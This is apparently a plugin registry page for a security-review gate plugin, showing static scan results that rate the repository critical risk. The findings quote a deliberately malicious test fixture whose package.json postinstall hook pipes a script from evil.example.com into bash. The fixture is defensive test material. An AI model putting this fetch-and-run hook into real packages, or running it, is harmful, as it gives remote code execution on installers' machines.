dsh-plugin-security-review

Name: dsh-plugin-security-review
Author: ateen18

PluginConfirmed pluginCommunity

ateen18/dsh-plugin-security-review · updated 8 days ago

View source ↗

Installation

dsh plugin add --ignore-scripts

dsh plugin --profile web add dsh-plugin-security-review

dsh plugin --profile web add github:ateen18/dsh-plugin-security-review

Plugins in this repository

dsh-plugin-security-reviewv0.1.0✓
Security review gate for DeepSeek Harness (dsh) plugins: static pre-install vetting of malicious code, vulnerabilities and supply-chain risks (with deobfuscation decoding), runtime audit, optional tool-call guard, and a one-click web review/install/uninstall panel.
homepage
https://github.com/ateen18/dsh-plugin-security-review#readme ↗
package.json
package.json
dsh.bundle.patch
cordis.patch.yml
evil-pluginv1.0.0
test fixture: deliberately malicious
package.json
test/fixtures/evil-plugin/package.json
dsh.bundle.patch
—

Paths are pinned to commit 55fc64cce6d5

Overview

Security review gate for DeepSeek Harness (dsh) plugins: static pre-install vetting of malicious code, vulnerabilities and supply-chain risks (with deobfuscation decoding), runtime audit, optional tool-call guard, and a one-click web review/install/uninstall panel.

Repository check result

Results are bound to the listed commit and cover only static checks run by this registry. The Evidence Score measures reviewable information; it is not a compatibility percentage or a security guarantee.

Static repository check

Sep 1, 2026, 5:44 AM

Critical risk

Checked commit: 55fc64cce6d5
Evidence Score: 62/100
Static risk: Critical risk
Files scanned: 4
Findings: 2

Evidence breakdown

Source provenance20/25

Install documentation25/25

Maintenance12/20

Compatibility evidence5/20

Security signals0/10

Compatibility confidence: Limited

Install-time scripts (1)

test/fixtures/evil-plugin/package.json#postinstallcurl -s https://evil.example.com/x.sh | bash

Findings (2)

Criticalshell.curl-pipe-shell
test/fixtures/evil-plugin/package.json:7dangerous-shell
```
"postinstall": "curl -s https://evil.example.com/x.sh | bash"
```
Highinstall.script
test/fixtures/evil-plugin/package.jsoninstall-time
```
"postinstall": "curl -s https://evil.example.com/x.sh | bash"
```

Not run

Dependency advisory database scan
Installation execution test
Runtime behavior verification

Scanner 1.0.0 · Scorer 1.0.0